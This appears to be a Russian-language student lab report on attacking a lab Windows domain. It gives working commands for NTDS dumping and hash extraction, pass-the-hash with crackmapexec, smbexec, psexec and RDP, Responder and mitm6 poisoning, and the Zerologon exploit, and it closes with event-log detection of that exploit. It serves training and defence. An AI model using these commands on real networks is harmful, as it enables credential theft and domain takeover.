# Windows_Basic-Фадеев_Александр-Практика-6
## Практика 6.1 Базовые атаки на инфраструктуру Windows
### Анализ базы NTDS
#### Бэкап NTDS
Воспользуемся базовыми средствами Windows для работы с NTDS. Необходимо зайти в командную строку от имени администратора и ввести команды:
> ntdsutil
activate instance ntds
ifm
create full C:\temp
>

После этого в директории C:\temp увидим созданые файлы дампа
#### Перенос NTDS
Воспользуемся базовыми средствами Kali Linux. С помощью SMB зайдём на сервер Win с Kali:
> smbclient '\\\\\\192.168.10.200\\C$' -U PT/Administrator
После чего скопируем файлы на Kali:
> recurse ON
prompt OFF
lcd /home/user
mget temp
>

#### Анализ NTDS
Для анализа дампа для начала нужно скачать impacket.
> git clone https://github.com/SecureAuthCorp/impacket
apt install python3-pip
cd impacket
pip install .
После установки нужно пройти из директории impacket в директорию examples (она внутри папки импакета) и выполнить следующую команду:
> python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL

### Pass-the-hash
#### Crackmapexec
Самое базовое применение -- быстрое сканирование сети и обнаружение хостов, как либо взаимодействующих с протоколом smb:
> crackmapexec smb 192.168.10.0/24

Можно выполнять команды от имени пользователя на удаленной машине посредством командной строки:
> crackmapexec smb 192.168.10.201 -u Administrator -H hash -x whoami
>
> - Где hash -- это NTLM хэш учетной записи (LM хэш в этом скрипте не используется, в отличие от скрипта smbexec, описанного далее).

Можно посмотреть и список сетевых папок, доступных конкретному пользователю:
> crackmapexec smb 192.168.10.201 -u Administrator -H hash --shares

в impacket есть интересная утилита smbexec, позволяющая запустить cmd windows для удаленной передачи команд, при этом практически не оставляя следов:
> python3 smbexec.py PT/administrator@192.168.10.200 -hashes aad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128

Есть аналог -- psexec
> python3 psexec.py domain/username:password@hostIP
python3 psexec.py domain/username@hostIP -hashes LMHASH:NTHASH

#### XFreeRDP
С хешем можно зайти даже по RDP. Для этого используется следующая команда
> xfreerdp /d:domainname /u:username /v:ipaddr /pth:NTHASH
включим удалённый доступ по RDP на dc1, доступ дадим администраторам домена

Изменим параметр реестра на dc1

пробуем зайти на dc1


### Атаки на базовые протоколы Windows
#### NBT-NS & LLMNR & mDNS
> Важной частью эксплуатации будет WPAD -- специальный протокол для настройки проксирования в системе Win. Система всегда запрашивает файл с настройками wpad.dat, а злоумышленник может подсунуть свой файл, став прокси-серверов для Win и таким образом осуществив атаку "человек посередине".
NBT-NS(NetBIOS Name Service) -- протокол, позволяющий компьютерам в локальной сети обращаться друг к другу по именам, не используя сервер DNS.
LLMNR(Link-Local Multicast Name Resolution) -- протокол для поиска и преобразования базовых имен внутри небольшой сети. Он же -- сетевое обнаружение. Использует мультикаст (то есть почти как широковещательный трафик, его в сети смогут увидеть все).
mDNS(Multicast DNS) -- суть такая же, как и у LLMNR. DNS через Мультикаст.
Все вместе технологии реализуют [Zeroconf.](https://ru.wikipedia.org/wiki/Zeroconf)
Основная уязвимость в этих протоколах -- отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам.
> Например, пользователь PC1 вводит в "проводник" сетевой путь "\\\computer-1". Если PC1 не знает ничего про этой имя и DNS сервер тоже не может ответить, то тогда PC1 спрашивает всю локальную сеть следующее: "кто нибудь в курсе, кто таков "computer-1" и какой у него IP?" Если мы ответим PC1 и скажем, что наш адрес -- это адрес "computer-1", то PC1 нам поверит. По итогу получим атаку вида MITM. Для того, чтобы автоматически отвечать на такие запросы, есть инструмент Responder.
Атака не пройдёт, если реальный DNS сервер сможет ответить на DNS запрос компьютера.
>Начать всегда стоит со справки, чтобы изучить флаги скрипта и его возможности:
> responder -h
#### Анализ инфраструктуры через responder
Запускаем анализ Responder

Доменный ПК пытается обратиться к несуществующему сетевому ресурсу
Анализатор видит LLNMR, NBNS запросы

Режим атаки:
> responder -I eth0 -wFv
>
> - где -I eth0 -- выбор интерфейса,
> - w -- отравление WPAD,
> - F -- попробовать принудить систему использовать старые протоколы аутентификации, если возможно,
> - v -- вывод подробной информации (в т.ч. перехваченного хэша).
Responder запускается

Пользователь снова проходит по несуществующему пути
Responder притворяется этим ресурсом, поэтому видим окно аутентификации

Responder перехватывает аутентификационный токен

#### mitm6
Атака имитирует DHCPv6 сервер и отправляет на компьютеры в сети параметры IPv6, которые используются в приоритете над IPv4 при отправке компьютеров данных по сети.
Установить можно как скачав с гитхаба, так и выполнив следующую команду:
`pip install mitm6`
### Выполнение атаки:
`mitm6 -d pt.local`
Настройки сетевого адаптера pc1. Было:

Атака:

Настройки сетевого адаптера pc1. Стало:

Не отключая mitm6, создадим SMB сервер:

А на Win10 через проводник попробуем зайти на наш домен

Увидим данные аутентификации в выводе программы

## Практическая работа №6.2 Компрометация доменной Windows-инфраструктуры.
сохранить dc1 до zerologon

Для начала нужно активировать политику аудита машинных учетных записей и применить к контроллерам домена
`Путь до политики: Computer Configuration/Policies/Windows Setting/Security Setting/Advanced Audit Policy Configuration/Audit Policies/Account Managemant`

вводим команду gpupdate на dc1
### Эксплуатация уязвимостей контроллера домена
найдём множество репозиториев на github, в том числе и с эксплойтами
Скачаем
`
git clone https://github.com/risksense/zerologon
`
использовать консткукцию для вызова эксплойта. Используем команду
`
python3 set_empty_pw.py DC1 192.168.10.200
`

Скрипт обнулил пароль машинной учетной записи контроллера домена. Воспользуемся этим, чтобы сдампить NTDS с помощью secretsdump
Перейдём в impacket/examples и выполним оттуда команду
`python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'`

С помощью полученных хешей учетных данных можно выполнять команды от любого пользователя
`crackmapexec smb 192.168.10.200 -u ADMPetr -H 05df2fd1109e3d3b60f110965f6af128 -x whoami`

### Поиск следов эксплуатации уязвимостей
Проверим журнал System, увидим ошибку Netlogon

Проверим Security, увидим событие 4742

Внимательно проанализируем событие
можно увидеть заполненное поле password last set -- это значит, что пароль был изменён. При легитимном взаимодействии пароль на машинной учетной записи может менять только NETWORK SERVICE. И, если это происходит, генерируется ещё одно событие с id 5823

Найдём событие 5823 в журнале System

Событие есть, но оно произошло намного раньше
Если поискать события 4742 за день, когда произошло 5823, то мы их найдём. Это легитимные события, связанные с введением в домен dc2
Если происходит дамп NTDS, то можно увидеть данные выгрузки в журнале Direcrory Service
